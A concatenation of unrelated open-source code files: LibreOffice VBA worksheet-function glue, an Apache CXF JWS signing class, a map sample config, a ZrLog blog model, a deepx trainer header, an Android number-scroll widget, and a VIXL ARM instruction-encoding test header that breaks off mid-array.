uno::Reference<beans::XIntrospectionAccess>(); } uno::Any SAL_CALL ScVbaWSFunction::invoke(const rtl::OUString& FunctionName, const uno::Sequence< uno::Any >& Params, uno::Sequence< sal_Int16 >& /*OutParamIndex*/, uno::Sequence< uno::Any >& /*OutParam*/) throw(lang::IllegalArgumentException, script::CannotConvertException, reflection::InvocationTargetException, uno::RuntimeException) { // create copy of parameters, replace Excel range objects with UNO range objects uno::Sequence< uno::Any > aParamTemp( Params ); if( aParamTemp.hasElements() ) { uno::Any* pArray = aParamTemp.getArray(); uno::Any* pArrayEnd = pArray + aParamTemp.getLength(); for( ; pArray < pArrayEnd; ++pArray ) { uno::Reference< excel::XRange > myRange( *pArray, uno::UNO_QUERY ); if( myRange.is() ) *pArray = myRange->getCellRange(); OSL_TRACE("Param[%d] is %s", (int)(pArray - aParamTemp.getConstArray()), rtl::OUStringToOString( comphelper::anyToString( *pArray ), RTL_TEXTENCODING_UTF8 ).getStr() ); } } uno::Any aRet; bool bAsArray = true; // special handing for some functions that don't work correctly in FunctionAccess ScCompiler aCompiler( 0, ScAddress() ); OpCode eOpCode = aCompiler.GetEnglishOpCode( FunctionName.toAsciiUpperCase() ); switch( eOpCode ) { // ISLOGICAL does not work in array formula mode case ocIsLogical: { if( aParamTemp.getLength() != 1 ) throw lang::IllegalArgumentException(); const uno::Any& rParam = aParamTemp[ 0 ]; if( rParam.has< bool >() ) { aRet <<= true; } else if( rParam.has< uno::Reference< table::XCellRange > >() ) try { uno::Reference< sheet::XCellRangeAddressable > xRangeAddr( rParam, uno::UNO_QUERY_THROW ); table::CellRangeAddress aRangeAddr = xRangeAddr->getRangeAddress(); bAsArray = (aRangeAddr.StartColumn != aRangeAddr.EndColumn) || (aRangeAddr.StartRow != aRangeAddr.EndRow); } catch( uno::Exception& ) { } } break; default:; } if( !aRet.hasValue() ) { uno::Reference< lang::XMultiComponentFactory > xSMgr( mxContext->getServiceManager(), uno::UNO_QUERY_THROW ); uno::Reference< sheet::XFunctionAccess > xFunctionAccess( xSMgr->createInstanceWithContext( ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( "com.sun.star.sheet.FunctionAccess" ) ), mxContext ), uno::UNO_QUERY_THROW ); uno::Reference< beans::XPropertySet > xPropSet( xFunctionAccess, uno::UNO_QUERY_THROW ); xPropSet->setPropertyValue( ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( "IsArrayFunction" ) ), uno::Any( bAsArray ) ); aRet = xFunctionAccess->callFunction( FunctionName, aParamTemp ); } /* Convert return value from double to to Boolean for some functions that return Booleans. */ typedef uno::Sequence< uno::Sequence< uno::Any > > AnySeqSeq; if( (eOpCode == ocIsEmpty) || (eOpCode == ocIsString) || (eOpCode == ocIsNonString) || (eOpCode == ocIsLogical) || (eOpCode == ocIsRef) || (eOpCode == ocIsValue) || (eOpCode == ocIsFormula) || (eOpCode == ocIsNA) || (eOpCode == ocIsErr) || (eOpCode == ocIsError) || (eOpCode == ocIsEven) || (eOpCode == ocIsOdd) || (eOpCode == ocAnd) || (eOpCode == ocOr) || (eOpCode == ocNot) || (eOpCode == ocTrue) || (eOpCode == ocFalse) ) { if( aRet.has< AnySeqSeq >() ) { AnySeqSeq aAnySeqSeq = aRet.get< AnySeqSeq >(); for( sal_Int32 nRow = 0; nRow < aAnySeqSeq.getLength(); ++nRow ) for( sal_Int32 nCol = 0; nCol < aAnySeqSeq[ nRow ].getLength(); ++nCol ) lclConvertDoubleToBoolean( aAnySeqSeq[ nRow ][ nCol ] ); aRet <<= aAnySeqSeq; } else { lclConvertDoubleToBoolean( aRet ); } } /* Hack/workaround (?): shorten single-row matrix to simple array, shorten 1x1 matrix to single value. */ if( aRet.has< AnySeqSeq >() ) { AnySeqSeq aAnySeqSeq = aRet.get< AnySeqSeq >(); if( aAnySeqSeq.getLength() == 1 ) { if( aAnySeqSeq[ 0 ].getLength() == 1 ) aRet = aAnySeqSeq[ 0 ][ 0 ]; else aRet <<= aAnySeqSeq[ 0 ]; } } #if 0 // MATCH function should alwayse return a double value, but currently if the first argument is XCellRange, MATCH function returns an array instead of a double value. Don't know why? // To fix this issue in safe, current solution is to convert this array to a double value just for MATCH function. String aUpper( FunctionName ); ScCompiler aCompiler( NULL, ScAddress() ); OpCode eOp = aCompiler.GetEnglishOpCode( aUpper.ToUpperAscii() ); if( eOp == ocMatch ) { double fVal = 0.0; if( aRet >>= fVal ) return aRet; uno::Sequence< uno::Sequence< uno::Any > > aSequence; if( !( ( aRet >>= aSequence ) && ( aSequence.getLength() > 0 ) && ( aSequence[0].getLength() > 0 ) && ( aSequence[0][0] >>= fVal ) ) ) throw uno::RuntimeException(); aRet <<= fVal; } #endif return aRet; } void SAL_CALL ScVbaWSFunction::setValue(const rtl::OUString& /*PropertyName*/, const uno::Any& /*Value*/) throw(beans::UnknownPropertyException, script::CannotConvertException, reflection::InvocationTargetException, uno::RuntimeException) { throw beans::UnknownPropertyException(); } uno::Any SAL_CALL ScVbaWSFunction::getValue(const rtl::OUString& /*PropertyName*/) throw(beans::UnknownPropertyException, uno::RuntimeException) { throw beans::UnknownPropertyException(); } sal_Bool SAL_CALL ScVbaWSFunction::hasMethod(const rtl::OUString& Name) throw(uno::RuntimeException) { sal_Bool bIsFound = sal_False; try { // the function name contained in the com.sun.star.sheet.FunctionDescription service is alwayse localized. // but the function name used in WorksheetFunction is a programmatic name (seems English). // So m_xNameAccess->hasByName( Name ) may fail to find name when a function name has a localized name. ScCompiler aCompiler( NULL, ScAddress() ); if( aCompiler.IsEnglishSymbol( Name ) ) bIsFound = sal_True; } catch( uno::Exception& /*e*/ ) { // failed to find name } return bIsFound; } sal_Bool SAL_CALL ScVbaWSFunction::hasProperty(const rtl::OUString& /*Name*/) throw(uno::RuntimeException) { return sal_False; } ::rtl::OUString SAL_CALL ScVbaWSFunction::getExactName( const ::rtl::OUString& aApproximateName ) throw (css::uno::RuntimeException) { rtl::OUString sName = aApproximateName.toAsciiUpperCase(); if ( !hasMethod( sName ) ) return rtl::OUString(); return sName; } rtl::OUString& ScVbaWSFunction::getServiceImplName() { static rtl::OUString sImplName( RTL_CONSTASCII_USTRINGPARAM("ScVbaWSFunction") ); return sImplName; } uno::Sequence< rtl::OUString > ScVbaWSFunction::getServiceNames() { static uno::Sequence< rtl::OUString > aServiceNames; if ( aServiceNames.getLength() == 0 ) { aServiceNames.realloc( 1 ); aServiceNames[ 0 ] = rtl::OUString( RTL_CONSTASCII_USTRINGPARAM("ooo.vba.excel.WorksheetFunction" ) ); } return aServiceNames; }
3,963
839
<reponame>kimjand/cxf<filename>rt/rs/security/jose-parent/jose/src/main/java/org/apache/cxf/rs/security/jose/jws/PrivateKeyJwsSignatureProvider.java /** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.apache.cxf.rs.security.jose.jws; import java.security.PrivateKey; import java.security.SecureRandom; import java.security.Signature; import java.security.SignatureException; import java.security.spec.AlgorithmParameterSpec; import org.apache.cxf.rs.security.jose.jwa.AlgorithmUtils; import org.apache.cxf.rs.security.jose.jwa.SignatureAlgorithm; import org.apache.cxf.rt.security.crypto.CryptoUtils; public class PrivateKeyJwsSignatureProvider extends AbstractJwsSignatureProvider { private final PrivateKey key; private final SecureRandom random; private final AlgorithmParameterSpec signatureSpec; public PrivateKeyJwsSignatureProvider(PrivateKey key, SignatureAlgorithm algo) { this(key, null, algo); } public PrivateKeyJwsSignatureProvider(PrivateKey key, AlgorithmParameterSpec spec, SignatureAlgorithm algo) { this(key, null, spec, algo); } public PrivateKeyJwsSignatureProvider(PrivateKey key, SecureRandom random, AlgorithmParameterSpec spec, SignatureAlgorithm algo) { super(algo); this.key = key; this.random = random; this.signatureSpec = spec; } protected JwsSignature doCreateJwsSignature(JwsHeaders headers) { final String sigAlgo = headers.getSignatureAlgorithm().getJwaName(); final Signature s = CryptoUtils.getSignature(key, AlgorithmUtils.toJavaName(sigAlgo), random, signatureSpec); return doCreateJwsSignature(s); } protected JwsSignature doCreateJwsSignature(Signature s) { return new PrivateKeyJwsSignature(s); } @Override protected boolean isValidAlgorithmFamily(String algo) { return AlgorithmUtils.isRsaSign(algo); } protected static class PrivateKeyJwsSignature implements JwsSignature { private Signature s; public PrivateKeyJwsSignature(Signature s) { this.s = s; } @Override public void update(byte[] src, int off, int len) { try { s.update(src, off, len); } catch (SignatureException ex) { throw new JwsException(JwsException.Error.SIGNATURE_FAILURE, ex); } } @Override public byte[] sign() { try { return s.sign(); } catch (SignatureException ex) { throw new JwsException(JwsException.Error.SIGNATURE_FAILURE, ex); } } } }
1,429
535
<reponame>MHASgamer/js-samples<gh_stars>100-1000 { "title": "Using Closures in Event Listeners", "callback": "initMap", "libraries": [], "version": "weekly", "tag": "event_closure", "name": "event-closure" }
85
397
package com.zrlog.model; import com.jfinal.plugin.activerecord.Model; import com.zrlog.common.rest.request.PageRequest; import com.zrlog.data.dto.PageData; import java.util.List; /** * 存放文章的分类信息,对应数据的type表 */ public class Type extends Model<Type> { public static final String TABLE_NAME = "type"; public List<Type> findAll() { return find("select t.typeId as id,t.alias,t.typeName,t.remark,(select count(logId) from " + Log.TABLE_NAME + " where rubbish=? and privacy=? and typeid=t.typeid) as typeamount from " + TABLE_NAME + " t", false, false); } public PageData<Type> find(PageRequest page) { PageData<Type> response = new PageData<>(); response.setRows(find("select t.typeId as id,t.alias,t.typeName,t.remark,(select count(logId) from " + Log.TABLE_NAME + " where typeid=t.typeid) as typeamount from " + TABLE_NAME + " t limit ?,?", page.getOffset(), page.getSize())); ModelUtil.fillPageData(this, "from " + TABLE_NAME, response, new Object[0]); return response; } public Type findByAlias(String alias) { return findFirst("select * from " + TABLE_NAME + " where alias=?", alias); } }
522
309
// Copyright 2019 the deepx authors. // Author: <NAME> (<EMAIL>) // Author: <NAME> (<EMAIL>) // #pragma once #include <deepx_core/common/stream.h> #include <deepx_core/graph/dist_proto.h> #include <deepx_core/graph/model.h> #include <deepx_core/graph/model_shard.h> #include <deepx_core/graph/op_context.h> #include <deepx_core/graph/optimizer.h> #include <deepx_core/graph/tensor_map.h> #include <deepx_core/tensor/data_type.h> #include <memory> #include <string> #include <unordered_map> #include <vector> namespace deepx_core { /************************************************************************/ /* TrainerContext */ /************************************************************************/ class TrainerContext : public DataType { protected: std::string instance_reader_; std::string instance_reader_config_; int batch_ = 0; int verbose_ = 0; freq_t freq_filter_threshold_ = 0; std::string target_name_; ModelShard* local_model_shard_ = nullptr; std::unique_ptr<OpContext> op_context_; int op_context_batch_ = -1; double file_loss_ = 0; double file_loss_weight_ = 0; public: void set_instance_reader(const std::string& instance_reader) { instance_reader_ = instance_reader; } void set_instance_reader_config(const std::string& instance_reader_config) { instance_reader_config_ = instance_reader_config; } void set_batch(int batch) noexcept { batch_ = batch; } void set_verbose(int verbose) noexcept { verbose_ = verbose; } void set_freq_filter_threshold(freq_t freq_filter_threshold) noexcept { freq_filter_threshold_ = freq_filter_threshold; } void set_target_name(const std::string& target_name) { target_name_ = target_name; } double file_loss() const noexcept { return file_loss_; } double file_loss_weight() const noexcept { return file_loss_weight_; } protected: int enable_profile_ = 0; std::unordered_map<std::string, double> profile_map_; protected: void DumpProfile() const; protected: void _Init(ModelShard* local_model_shard); public: TrainerContext(); virtual ~TrainerContext(); virtual void TrainBatch() = 0; virtual void TrainFile(int thread_id, const std::string& file); virtual void PredictBatch() = 0; virtual void DumpPredictBatch(OutputStream& os) const; // NOLINT virtual void PredictFile(int thread_id, const std::string& file, const std::string& out_file); }; /************************************************************************/ /* TrainerContextNonShard */ /************************************************************************/ class TrainerContextNonShard : public TrainerContext { protected: Optimizer* optimizer_ = nullptr; public: void Init(ModelShard* model_shard); void TrainBatch() override; void PredictBatch() override; }; /************************************************************************/ /* TrainerContextShard */ /************************************************************************/ class TrainerContextShard : public TrainerContext { protected: int shard_size_ = 0; std::vector<ModelShard*> model_shards_; std::vector<Model*> models_; std::vector<Optimizer*> optimizers_; PullRequest pull_request_; std::vector<PullRequest> pull_requests_; int pull_request_active_ = 0; std::vector<int> pull_request_masks_; std::vector<std::unique_ptr<TensorMap>> params_; std::vector<std::unique_ptr<TensorMap>> grads_; std::vector<std::unique_ptr<TensorMap>> overwritten_params_; std::vector<id_set_t*> aux1_; std::vector<srm_t*> aux2_; ThreadPool::wait_token_t wait_token_; public: void Init(std::vector<ModelShard>* model_shards, ModelShard* local_model_shard); void TrainBatch() override; void PredictBatch() override; protected: void CompletionHandler(); void WaitForCompletion(); void Pull(int is_train); void Push(); }; } // namespace deepx_core
1,270
1,555
<filename>c-tests/gcc/920908-2.c<gh_stars>1000+ /* The bit-field below would have a problem if __INT_MAX__ is too small. */ extern void exit (int); #if __INT_MAX__ < 2147483647 int main (void) { exit (0); } #else /* CONF:m68k-sun-sunos4.1.1 OPTIONS:-O */ struct T { unsigned i:8; unsigned c:24; }; f(struct T t) { struct T s[1]; s[0]=t; return(char)s->c; } main() { struct T t; t.i=0xff; t.c=0xffff11; if(f(t)!=0x11)abort(); exit(0); } #endif
226
9,272
# This file is only intended for development purposes from kubeflow.kubeflow.cd import base_runner base_runner.main(component_name="admission_webhook", workflow_name="adm-wh-build")
73
834
<filename>library/src/main/java/top/wuhaojie/library/MultiScrollNumber.java package top.wuhaojie.library; import android.content.Context; import android.content.res.TypedArray; import android.support.annotation.ColorRes; import android.support.annotation.IntRange; import android.support.v4.content.ContextCompat; import android.text.TextUtils; import android.util.AttributeSet; import android.util.TypedValue; import android.view.Gravity; import android.view.ViewGroup; import android.view.animation.AccelerateDecelerateInterpolator; import android.view.animation.Interpolator; import android.widget.LinearLayout; import android.widget.TextView; import java.util.ArrayList; import java.util.List; /** * Created by wuhaojie on 2016/7/19 20:39. */ public class MultiScrollNumber extends LinearLayout { private Context mContext; private List<Integer> mTargetNumbers = new ArrayList<>(); private List<Integer> mPrimaryNumbers = new ArrayList<>(); private List<ScrollNumber> mScrollNumbers = new ArrayList<>(); private int mTextSize = 130; private int[] mTextColors = new int[]{R.color.purple01}; private Interpolator mInterpolator = new AccelerateDecelerateInterpolator(); private String mFontFileName; private int mVelocity = 15; public MultiScrollNumber(Context context) { this(context, null); } public MultiScrollNumber(Context context, AttributeSet attrs) { this(context, attrs, 0); } public MultiScrollNumber(Context context, AttributeSet attrs, int defStyleAttr) { super(context, attrs, defStyleAttr); mContext = context; TypedArray typedArray = mContext.obtainStyledAttributes(attrs, R.styleable.MultiScrollNumber); int primaryNumber = typedArray.getInteger(R.styleable.MultiScrollNumber_primary_number, 0); int targetNumber = typedArray.getInteger(R.styleable.MultiScrollNumber_target_number, 0); int numberSize = typedArray.getInteger(R.styleable.MultiScrollNumber_number_size, 130); setNumber(primaryNumber, targetNumber); setTextSize(numberSize); typedArray.recycle(); setOrientation(HORIZONTAL); setGravity(Gravity.CENTER); } public void setNumber(double num) { if (num < 0) throw new IllegalArgumentException("number value should >= 0"); resetView(); String str = String.valueOf(num); char[] charArray = str.toCharArray(); for (int i = charArray.length - 1; i >= 0; i--) { if (Character.isDigit(charArray[i])) { mTargetNumbers.add(charArray[i] - '0'); } else { mTargetNumbers.add(-1); } } for (int i = mTargetNumbers.size() - 1; i >= 0; i--) { if (mTargetNumbers.get(i) != -1) { ScrollNumber scrollNumber = new ScrollNumber(mContext); scrollNumber.setTextColor(ContextCompat .getColor(mContext, mTextColors[i % mTextColors.length])); scrollNumber.setVelocity(mVelocity); scrollNumber.setTextSize(mTextSize); scrollNumber.setInterpolator(mInterpolator); if (!TextUtils.isEmpty(mFontFileName)) scrollNumber.setTextFont(mFontFileName); scrollNumber.setNumber(0, mTargetNumbers.get(i), i * 10); mScrollNumbers.add(scrollNumber); addView(scrollNumber); } else { ViewGroup.LayoutParams params = new ViewGroup.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.MATCH_PARENT); TextView point = new TextView(mContext); point.setText(" . "); point.setGravity(Gravity.BOTTOM); point.setTextColor(ContextCompat .getColor(mContext, mTextColors[i % mTextColors.length])); point.setTextSize(mTextSize / 3); addView(point, params); } } } public void setNumber(int val) { resetView(); int number = val; while (number > 0) { int i = number % 10; mTargetNumbers.add(i); number /= 10; } for (int i = mTargetNumbers.size() - 1; i >= 0; i--) { ScrollNumber scrollNumber = new ScrollNumber(mContext); scrollNumber.setTextColor(ContextCompat .getColor(mContext, mTextColors[i % mTextColors.length])); scrollNumber.setVelocity(mVelocity); scrollNumber.setTextSize(mTextSize); scrollNumber.setInterpolator(mInterpolator); if (!TextUtils.isEmpty(mFontFileName)) scrollNumber.setTextFont(mFontFileName); scrollNumber.setNumber(0, mTargetNumbers.get(i), i * 10); mScrollNumbers.add(scrollNumber); addView(scrollNumber); } } private void resetView() { mTargetNumbers.clear(); mScrollNumbers.clear(); removeAllViews(); } public void setNumber(int from, int to) { if (to < from) throw new UnsupportedOperationException("'to' value must > 'from' value"); resetView(); // operate to int number = to, count = 0; while (number > 0) { int i = number % 10; mTargetNumbers.add(i); number /= 10; count++; } // operate from number = from; while (count > 0) { int i = number % 10; mPrimaryNumbers.add(i); number /= 10; count--; } for (int i = mTargetNumbers.size() - 1; i >= 0; i--) { ScrollNumber scrollNumber = new ScrollNumber(mContext); scrollNumber.setTextColor(ContextCompat .getColor(mContext, mTextColors[i % mTextColors.length])); scrollNumber.setTextSize(mTextSize); if (!TextUtils.isEmpty(mFontFileName)) scrollNumber.setTextFont(mFontFileName); scrollNumber.setNumber(mPrimaryNumbers.get(i), mTargetNumbers.get(i), i * 10); mScrollNumbers.add(scrollNumber); addView(scrollNumber); } } public void setTextColors(@ColorRes int[] textColors) { if (textColors == null || textColors.length == 0) throw new IllegalArgumentException("color array couldn't be empty!"); mTextColors = textColors; for (int i = mScrollNumbers.size() - 1; i >= 0; i--) { ScrollNumber scrollNumber = mScrollNumbers.get(i); scrollNumber.setTextColor(ContextCompat .getColor(mContext, mTextColors[i % mTextColors.length])); } } public void setTextSize(int textSize) { if (textSize <= 0) throw new IllegalArgumentException("text size must > 0!"); mTextSize = textSize; for (ScrollNumber s : mScrollNumbers) { s.setTextSize(textSize); } } public void setInterpolator(Interpolator interpolator) { if (interpolator == null) throw new IllegalArgumentException("interpolator couldn't be null"); mInterpolator = interpolator; for (ScrollNumber s : mScrollNumbers) { s.setInterpolator(interpolator); } } public void setTextFont(String fileName) { if (TextUtils.isEmpty(fileName)) throw new IllegalArgumentException("file name is null"); mFontFileName = fileName; for (ScrollNumber s : mScrollNumbers) { s.setTextFont(fileName); } } public void setScrollVelocity(@IntRange(from = 0, to = 1000) int velocity) { mVelocity = velocity; for (ScrollNumber s : mScrollNumbers) { s.setVelocity(velocity); } } private int dp2px(float dpVal) { return (int) TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, dpVal, getResources().getDisplayMetrics()); } private int sp2px(float dpVal) { return (int) TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_SP, dpVal, getResources().getDisplayMetrics()); } }
3,609
852
// Original Author: <NAME> #include "CondFormats/PPSObjects/interface/LHCOpticalFunctionsSet.h" #include "FWCore/Utilities/interface/Exception.h" #include "TFile.h" #include "TGraph.h" //---------------------------------------------------------------------------------------------------- LHCOpticalFunctionsSet::LHCOpticalFunctionsSet(const std::string &fileName, const std::string &directoryName, double z) : m_z(z) { TFile *f_in = TFile::Open(fileName.c_str()); if (f_in == nullptr) throw cms::Exception("LHCOpticalFunctionsSet") << "Cannot open file " << fileName << "."; std::vector<TGraph *> graphs(nFunctions); for (unsigned int fi = 0; fi < nFunctions; ++fi) { std::string tag; if (fi == evx) tag = "v_x"; else if (fi == eLx) tag = "L_x"; else if (fi == e14) tag = "E_14"; else if (fi == exd) tag = "x_D"; else if (fi == evpx) tag = "vp_x"; else if (fi == eLpx) tag = "Lp_x"; else if (fi == e24) tag = "E_24"; else if (fi == expd) tag = "xp_D"; else if (fi == e32) tag = "E_32"; else if (fi == evy) tag = "v_y"; else if (fi == eLy) tag = "L_y"; else if (fi == eyd) tag = "y_D"; else if (fi == e42) tag = "E_42"; else if (fi == evpy) tag = "vp_y"; else if (fi == eLpy) tag = "Lp_y"; else if (fi == eypd) tag = "yp_D"; else throw cms::Exception("LHCOpticalFunctionsSet") << "Invalid tag for optical functions: \"" << fi << "\""; std::string objPath = directoryName + "/g_" + tag + "_vs_xi"; auto gr_obj = dynamic_cast<TGraph *>(f_in->Get(objPath.c_str())); if (!gr_obj) throw cms::Exception("LHCOpticalFunctionsSet") << "Cannot load object " << objPath << " from file " << fileName << "."; graphs[fi] = gr_obj; } const unsigned int num_xi_vals = graphs[0]->GetN(); m_xi_values.resize(num_xi_vals); m_fcn_values.resize(nFunctions); for (unsigned int fi = 0; fi < nFunctions; ++fi) m_fcn_values[fi].resize(num_xi_vals); for (unsigned int pi = 0; pi < num_xi_vals; ++pi) { const double xi = graphs[0]->GetX()[pi]; m_xi_values[pi] = xi; for (unsigned int fi = 0; fi < m_fcn_values.size(); ++fi) m_fcn_values[fi][pi] = graphs[fi]->Eval(xi); } delete f_in; }
1,037
1,258
<reponame>whwlsfb/Log4j2Scan package burp.poc.impl; import burp.poc.IPOC; import burp.utils.Utils; import static burp.utils.Utils.confusionChars; public class POC2 implements IPOC { @Override public String generate(String domain) { String payloadContent = String.format("://%s/%s", domain, Utils.GetRandomString(Utils.GetRandomNumber(2, 5))); String confusionPayload = Utils.confusionChars(Utils.splitString(payloadContent), (int) Math.ceil(payloadContent.length() * (Utils.GetRandomNumber(30, 70) / 100.0))); return "${" + Utils.confusionChars(Utils.splitString("jndi"), 4) + ":" + Utils.confusionChars(Utils.splitString("ldap"), 4) + confusionPayload + "}"; } @Override public int getType() { return POC_TYPE_LDAP; } }
311
573
// Copyright 2015, VIXL authors // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // * Neither the name of ARM Limited nor the names of its contributors may be // used to endorse or promote products derived from this software without // specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS CONTRIBUTORS "AS IS" AND // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // --------------------------------------------------------------------- // This file is auto generated using tools/generate_simulator_traces.py. // // PLEASE DO NOT EDIT. // --------------------------------------------------------------------- #ifndef VIXL_ASSEMBLER_COND_RD_RN_OPERAND_CONST_BIC_T32_H_ #define VIXL_ASSEMBLER_COND_RD_RN_OPERAND_CONST_BIC_T32_H_ const byte kInstruction_bic_al_r13_r14_0x02ac0000[] = { 0x2e, 0xf0, 0x2b, 0x7d // bic al r13 r14 0x02ac0000 }; const byte kInstruction_bic_al_r10_r1_0x00156000[] = { 0x21, 0xf4, 0xab, 0x1a // bic al r10 r1 0x00156000 }; const byte kInstruction_bic_al_r10_r0_0x000003fc[] = { 0x20, 0xf4, 0x7f, 0x7a // bic al r10 r0 0x000003fc }; const byte kInstruction_bic_al_r1_r11_0x2ac00000[] = { 0x2b, 0xf0, 0x2b, 0x51 // bic al r1 r11 0x2ac00000 }; const byte kInstruction_bic_al_r8_r6_0x00156000[] = { 0x26, 0xf4, 0xab, 0x18 // bic al r8 r6 0x00156000 }; const byte kInstruction_bic_al_r7_r12_0x00ff0000[] = { 0x2c, 0xf4, 0x7f, 0x07 // bic al r7 r12 0x00ff0000 }; const byte kInstruction_bic_al_r12_r3_0x00ff0000[] = { 0x23, 0xf4, 0x7f, 0x0c // bic al r12 r3 0x00ff0000 }; const byte kInstruction_bic_al_r4_r7_0x0000ff00[] = { 0x27, 0xf4, 0x7f, 0x44 // bic al r4 r7 0x0000ff00 }; const byte kInstruction_bic_al_r11_r13_0x0ab00000[] = { 0x2d, 0xf0, 0x2b, 0x6b // bic al r11 r13 0x0ab00000 }; const byte kInstruction_bic_al_r6_r12_0xff00ff00[] = { 0x2c, 0xf0, 0xff, 0x26 // bic al r6 r12 0xff00ff00 }; const byte kInstruction_bic_al_r12_r8_0x003fc000[] = { 0x28, 0xf4, 0x7f, 0x1c // bic al r12 r8 0x003fc000 }; const byte kInstruction_bic_al_r5_r12_0x00ab00ab[] = { 0x2c, 0xf0, 0xab, 0x15 // bic al r5 r12 0x00ab00ab }; const byte kInstruction_bic_al_r7_r6_0x00ab00ab[] = { 0x26, 0xf0, 0xab, 0x17 // bic al r7 r6 0x00ab00ab }; const byte kInstruction_bic_al_r0_r1_0x00ab00ab[] = { 0x21, 0xf0, 0xab, 0x10 // bic al r0 r1 0x00ab00ab }; const byte kInstruction_bic_al_r9_r9_0x000001fe[] = { 0x29, 0xf4, 0xff, 0x79 // bic al r9 r9 0x000001fe }; const byte kInstruction_bic_al_r2_r8_0xab00ab00[] = { 0x28, 0xf0, 0xab, 0x22 // bic al r2 r8 0xab00ab00 }; const byte kInstruction_bic_al_r9_r10_0x00ff0000[] = { 0x2a, 0xf4, 0x7f, 0x09 // bic al r9 r10 0x00ff0000 }; const byte kInstruction_bic_al_r8_r8_0x55800000[] = { 0x28, 0xf0, 0xab, 0x48 // bic al r8 r8 0x55800000 }; const byte kInstruction_bic_al_r6_r7_0x00ab00ab[] = { 0x27, 0xf0, 0xab, 0x16 // bic al r6 r7 0x00ab00ab }; const byte kInstruction_bic_al_r5_r9_0xff000000[] = { 0x29, 0xf0, 0x7f, 0x45 // bic al r5 r9 0xff000000 }; const byte kInstruction_bic_al_r8_r8_0x00ab0000[] = { 0x28, 0xf4, 0x2b, 0x08 // bic al r8 r8 0x00ab0000 }; const byte kInstruction_bic_al_r5_r8_0xab00ab00[] = { 0x28, 0xf0, 0xab, 0x25 // bic al r5 r8 0xab00ab00 }; const byte kInstruction_bic_al_r0_r12_0xab000000[] = { 0x2c, 0xf0, 0x2b, 0x40 // bic al r0 r12 0xab000000 }; const byte kInstruction_bic_al_r13_r11_0xab000000[] = { 0x2b, 0xf0, 0x2b, 0x4d // bic al r13 r11 0xab000000 }; const byte kInstruction_bic_al_r14_r3_0xab00ab00[] = { 0x23, 0xf0, 0xab, 0x2e // bic al r14 r3 0xab00ab00 }; const byte kInstruction_bic_al_r0_r1_0x0003fc00[] = { 0x21, 0xf4, 0x7f, 0x30 // bic al r0 r1 0x0003fc00 }; const byte kInstruction_bic_al_r14_r13_0x0ab00000[] = { 0x2d, 0xf0, 0x2b, 0x6e // bic al r14 r13 0x0ab00000 }; const byte kInstruction_bic_al_r6_r0_0x0002ac00[] = { 0x20, 0xf4, 0x2b, 0x36 // bic al r6 r0 0x0002ac00 }; const byte kInstruction_bic_al_r6_r8_0x55800000[] = { 0x28, 0xf0, 0xab, 0x46 // bic al r6 r8 0x55800000 }; const byte kInstruction_bic_al_r2_r14_0x01560000[] = { 0x2e, 0xf0, 0xab, 0x72 // bic al r2 r14 0x01560000 }; const byte kInstruction_bic_al_r5_r13_0x03fc0000[] = { 0x2d, 0xf0, 0x7f, 0x75 // bic al r5 r13 0x03fc0000 }; const byte kInstruction_bic_al_r7_r6_0x00000ab0[] = { 0x26, 0xf4, 0x2b, 0x67 // bic al r7 r6 0x00000ab0 }; const byte kInstruction_bic_al_r3_r14_0x007f8000[] = { 0x2e, 0xf4, 0xff, 0x03 // bic al r3 r14 0x007f8000 }; const byte kInstruction_bic_al_r9_r4_0x00558000[] = { 0x24, 0xf4, 0xab, 0x09 // bic al r9 r4 0x00558000 }; const byte kInstruction_bic_al_r10_r11_0x00002ac0[] = { 0x2b, 0xf4, 0x2b, 0x5a // bic al r10 r11 0x00002ac0 }; const byte kInstruction_bic_al_r1_r5_0x003fc000[] = { 0x25, 0xf4, 0x7f, 0x11 // bic al r1 r5 0x003fc000 }; const byte kInstruction_bic_al_r7_r7_0x00003fc0[] = { 0x27, 0xf4, 0x7f, 0x57 // bic al r7 r7 0x00003fc0 }; const byte kInstruction_bic_al_r5_r3_0x000007f8[] = { 0x23, 0xf4, 0xff, 0x65 // bic al r5 r3 0x000007f8 }; const byte kInstruction_bic_al_r4_r3_0x00001560[] = { 0x23, 0xf4, 0xab, 0x54 // bic al r4 r3 0x00001560 }; const byte kInstruction_bic_al_r5_r3_0x03fc0000[] = { 0x23, 0xf0, 0x7f, 0x75 // bic al r5 r3 0x03fc0000 }; const byte kInstruction_bic_al_r2_r6_0x55800000[] = { 0x26, 0xf0, 0xab, 0x42 // bic al r2 r6 